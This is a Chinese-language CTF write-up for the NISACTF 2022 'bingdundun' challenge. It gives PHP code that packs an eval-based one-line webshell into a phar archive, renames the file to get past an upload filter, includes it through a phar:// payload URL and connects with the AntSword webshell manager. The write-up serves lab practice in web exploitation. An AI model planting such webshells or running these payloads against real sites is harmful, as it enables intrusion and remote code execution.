[NISACTF 2022]bingdundun wp

[NISACTF 2022]bingdundun

由于这题考查的是这题考察的是phar协议
所以先介绍一下

phar:// — PHP 归档

phar://、zip://、bzip2://、zlib://

用于读取压缩文件,zip:// 、 bzip2:// 、 zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。

用法示例

phar:/http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

第一步我们需要构造phar包,下面是代码直接套:

<?php
    $payload = '<?php eval($_POST["shell"]); ?>' ;//一句话木马
    $phar = new Phar("example.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->addFromString("phar.php", "$payload"); //添加要压缩的文件
    // $phar->setMetadata(...); //在metadata添加内容,可参考 phar反序列化,此处用不着,故注释
    $phar->stopBuffering();
?>

这里大部分人可能会报错,这个错误信息表示在运行phar.php文件时,创建归档文件“exp.phar”的功能被禁用了。这是由于php.ini文件中的phar.readonly设置被设置为“On”,阻止了phar扩展的使用。

要解决这个问题,你需要编辑php.ini文件,将“phar.readonly”设置更改为“Off
在这里插入图片描述

由于我一直报错,不能生成文件,改了也没有用,所以找到了第二种解决办法,在php文件的目录下打开cmd,然后命令行输入

php -d phar.readonly=0 phar.php //phar是文件名

然后就生成了example.phar文件
请添加图片描述

可以看到example.phar压缩文件中有phar.php文件,里面有一个php代码,内容是一句话木马

接下来我们要进行MIME类型绕过,由于冰墩墩只喜欢【图片或压缩包】所以我们需要把文件的后缀名改成.zip或者.jpg这里选择是改成zip

请添加图片描述

接下来上传,并且上传成功
请添加图片描述

接下来就要利用phar协议进行读取和执行我们的一句话木马,这里回到一开始上传界面,会发现有个bingdundun变量,我们就理由这个变量去访问我们的文件,构造payload:

请添加图片描述

http://node1.anna.nssctf.cn:28150/?bingdundun=phar://95bfe2c92af0e6995395e372d3e126da.zip/phar&shell=phpinfo();

(但是不知道为什么我的phpinfo信息不能显示,于是重新上传了一个,变量名改了一下,改成了8,就可以了)

OK执行成功

请添加图片描述

这里可以选择蚁剑连接,也可以选择命令执行,我选择前者

请添加图片描述

这里注意一下,在连接的时候编码器不要选择default会连不上

请添加图片描述

连接成功,在根目录中的flag文件找到了flag,结束
请添加图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leafzzz__

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值